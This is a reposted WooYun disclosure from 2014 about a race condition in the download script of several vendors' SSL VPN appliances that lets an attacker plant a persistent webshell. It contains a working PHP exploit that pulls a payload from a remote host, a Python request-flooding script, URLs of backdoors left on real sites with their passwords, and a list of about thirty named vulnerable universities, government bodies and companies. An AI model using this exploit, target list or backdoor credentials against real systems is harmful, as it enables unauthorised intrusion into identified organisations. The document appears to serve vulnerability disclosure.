漏洞概要
缺陷编号:
WooYun-2014-48202
漏洞标题: 国内外多家vpn设备厂商批量漏洞(续集一)
相关厂商:
众多vpn厂商
漏洞作者:
felixk3y
提交时间: 2014-01-07 18:27
公开时间: 2014-04-07 18:28
漏洞类型: 设计不当
危害等级: 高
自评Rank: 20
漏洞状态: 已交由第三方厂商(cncert国家互联网应急中心)处理
漏洞来源:
http://www.wooyun.org
Tags标签:
远程命令执行 设计缺陷/边界绕过 任意文件下载 数据库明文密码
漏洞详情披露状态:
2014-01-07: 细节已通知厂商并且等待厂商处理中
2014-01-12: 厂商已经确认,细节仅向厂商公开
2014-01-15: 细节向第三方安全合作伙伴开放
2014-01-22: 细节向核心白帽子及相关领域专家公开
2014-02-01: 细节向普通白帽子公开
2014-02-21: 细节向实习白帽子公开
2014-04-07: 细节向公众公开
简要描述:
利用此漏洞可导致任意文件写入,任意代码/命令执行,大量内网可免门票任意漫游 漫游...
同时该漏洞涉及到包括网御神州、天融信、西安网赢、卫士通、吉大正元、美国凹凸、德国 ANIX等多家VPN厂商设备在政务、地产、运营商、政府部门、高校、企业、公安、司法、银行等行业存在的任意文件下载、远程命令执行、维护后门、三方平台帐号泄漏、恶意客户端下发等高位漏洞。
详细说明:
#1 首先请看:
code 区域
WooYun: [浅谈内网安全]--国内外多家vpn设备厂商批量漏洞
漏洞修复中,@紫梦芊 提到修复方法,详见如下:
code 区域exec("cp ".$_POST['realfile']." ".$_POST['path']."");改为
copy($_POST['realfile'],$_POST['path'])
exec("rm ".$_POST["path"]."");改为
unlink($_POST['path'])
嘿,没想到这些厂商还真是这样修复的...
咦? 这样修复没有问题啊,但真的是没问题吗?要是真的没问题,就不会有下文了,哈哈...
各位看官,且听我细细道来...
#2 我们打开根目录下的minica_down.php文件,代码贴出来
code 区域<?
if($_POST['realfile'])
copy($_POST['realfile'],$_POST['path']);
//$_POST[path] = mb_convert_encoding($_POST[path],"GBK","UTF-8");
$file = mb_convert_encoding($_POST[file],"GBK","UTF-8");
header("Pragma:");
header("Cache-Control:");
header("Content-type:application/octet-stream");
header("Content-Length:".filesize($_POST[path]));
header("Content-Disposition:attachment;filename=\"$file\"");
readfile($_POST[path]);
if($_POST['realfile'])
unlink($_POST["path"]);
?>
第二行代码:
code 区域copy($_POST['realfile'],$_POST['path']);
从POST提交的realfile,复制到POST提交的path参数
倒数三行代码:
code 区域if($_POST['realfile'])
unlink($_POST["path"]);
?>
如果提交了realfile参数,则删除path参数所提交的文件,即
假如我们post提交,realfile=/ssl/www/test.jpg & path=/ssl/www/admin/shell.php
很容易的得到我们想要的shell,但在代码的最后三行,最终删除了path即 删除了我们想要的shell:/ssl/www/admin/shell.php
这段代码的逻辑看起来没什么问题,但是呢 我们人是最善于思考的动物,SO...
#3 思考中... ...
#4 思考后的结果
程序的执行需要一个过程,哪怕这个过程很短很短,鉴于此,我们有了如下的结果...
(要是我们能在程序删除我们想要的那个shell前,通过一定的方法抢在其前面访问那个shell,这个shell帮我们生成另一个shell,那么这个新生成的shell总不会被删除吧...)
这里简单小结一下
正常情况:
copy成shell1--->删除shell1;
被攻击时的情况:
copy成shell1--->访问shell1-->shell1生成shell2-->删除shell1 明白了吧?
有了想法,那就开始行动吧...
方法一:
我们可以用py写一个多线程的代码,唯一功能是:不停的访问copy成的shell1
code 区域#coding=utf-8
import os
import urllib2
import urllib
import threading
class Query(threading.Thread):
def __init__(self,url):
threading.Thread.__init__(self)
self.url = url
def run(self):
while True:
print 'Testing...'
try:
rep = urllib2.urlopen(self.url,timeout=2)
except :
pass
def main():
threads = []
url = "http://www.vulns.org/shell1.php"
for i in range(20):
t = Query(url)
t.start()
threads.append(t)
for t in threads:
t.join()
if __name__=="__main__":
main()
方法二:
将post提交和访问shell让程序同时进行...
经过一系列的测试:方法一成功的几率很小,这里 我们选择方法二
漏洞证明:
#5 漏洞最终利用
这里 我们用php写漏洞利用的POC:
code 区域<?php
set_time_limit(0);
error_reporting(0);
function get($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);//https请求,不验证证书和hosts
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_HEADER,0);
$output = curl_exec($ch);
curl_close($ch);
return $output;
}
function post($url,$params){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
$output = curl_exec($ch);
curl_close($ch);
return $output;
}
$i=0;
$url = "https://vpn.com.cn/minica_down.php";
$geturl1 = "https://vpn.com.cn/sub_ca_reglog.php";
$postdata = "realfile=http://www.xxx.com/exp.txt&path=sub_ca_reglog.php";
while(++$i<5) {
echo "\nTesting[$i]....\n";
post($url,$postdata);
get($geturl1);
}
$vali_url = "https://vpn.com.cn/shell.php";
$resp = get($vali_url);
echo $resp;
if(preg_match('/200 OK/',$resp)){
echo "Success! shell is : $vali_url, Pass is [1@3]";
}else{
echo "------->Fail!\n\n";
}
?>
POC说明:
POST提交参数:
code 区域realfile=http://www.com.cn/2.txt&path=sub_ca_reglog1.php
realfile参数是远程的一个文件,目的是生成最终的shell 大小最好几十KB,为我们访问中间的shell1争取时间 增加成功的概率嘛,内容如下:
path是我们想要生成的文件,这里是:sub_ca_reglog1.php
Tips:由于这里只是POC,所以在运行的时候 最好多试几次,要是试了几次任然没生成shell,此时可手动访问:http://www.com.cn/sub_ca_reglog1.php 说不定会有意想不到的效果哦.
#6 shell
https://svpn.mbatec.com.tw
https://vpn.mcut.edu.tw 这两个url,对不起了啊,毕竟为了测试嘛
同时我发现,有很多网站被人留了后门,清理一下吧
https://xxxxxxx/admin/free.php 密码cmd
https://svpn.mbatec.com.tw/welcome_time1.php
https://svpn.mbatec.com.tw/sub_ca_reglog1.php
https://svpn.mbatec.com.tw/sub_ca_reglog2.php
https://svpn.mbatec.com.tw/sub_ca_reglog3.php
#7 漏洞站点(摘自@紫梦芊)
至少有如下的站点,未列完.....
code 区域
https://vpn.bit.edu.cn/ 北京理工
https://sslvpn.bjtu.edu.cn/ 北交大
https://125.46.88.100/ 郑州大学
https://219.80.0.19/p 国泰地产集团
https://info.nai.edu.cn/ 北京国家会计学院
https://124.205.79.78/ 北大计算中心
https://210.82.53.201/ 北京联合大学
https://vpn.cnu.edu.cn/ 首都师大
https://vpn.mcut.edu.tw/ 台湾明志科技大学
https://ac.whlib.gov.cn 武汉图书馆
https://sslvpn.nhcue.edu.tw 新竹教育大学
https://isms.ydu.edu.tw/ 育達商業科技大學
https://sslvpn.ydu.edu.tw/ 育達商業科技大學
https://vpn.cute.edu.tw 中国(台湾)科技大学
https://sslvpn.ntue.edu.tw 国立台北教育大学
https://vpn.psi.com.tw 升阳国际
https://maltimur.jksm.gov.my/ 马来西亚某政府网站
https://vpn.ccom.edu.cn 中央音乐学院
https://vpn.dlmu.edu.cn 大连海事大学
https://vpn.wanfang.edu.cn 河南理工
https://vpn.genius.com.cn 深圳巨灵
https://sslvpn.changhongit.com 长虹佳华
https://vpn.jnrd.com.cn 北京京能热电
https://sslvpn.kworld.com.tw 廣寰台北辦公室
https://www.oo586.com/ 易宝支付
https://svpn.mbatec.com.tw 新碩資訊
https://sslvpn.szs.com.tw 新日兴
https://sslvpn.gzcatv.net 广数传媒
https://e.nais.net.cn 农业部农E通
https://vpn.thcic.cn 清华
修复方案:
神马意思,你们懂,要是不懂 再问我,OK...
版权声明:转载请注明来源
felixk3y@
乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:20
确认时间:2014-01-12 11:36
厂商回复:
CNVD确认并复现所述况,并根据利用原理对EXP进行了改写,提高了测试成功率。在9日上午已经复现多个实例,不过在9日下午之后测试结果出现新的变化。需要汇总进一步的结果才进行处置。
最新状态:
暂无
原文:http://www.wooyun.org/bugs/wooyun-2010-048202
[
本帖最后由 linda 于 2016-2-15 11:01 编辑 ]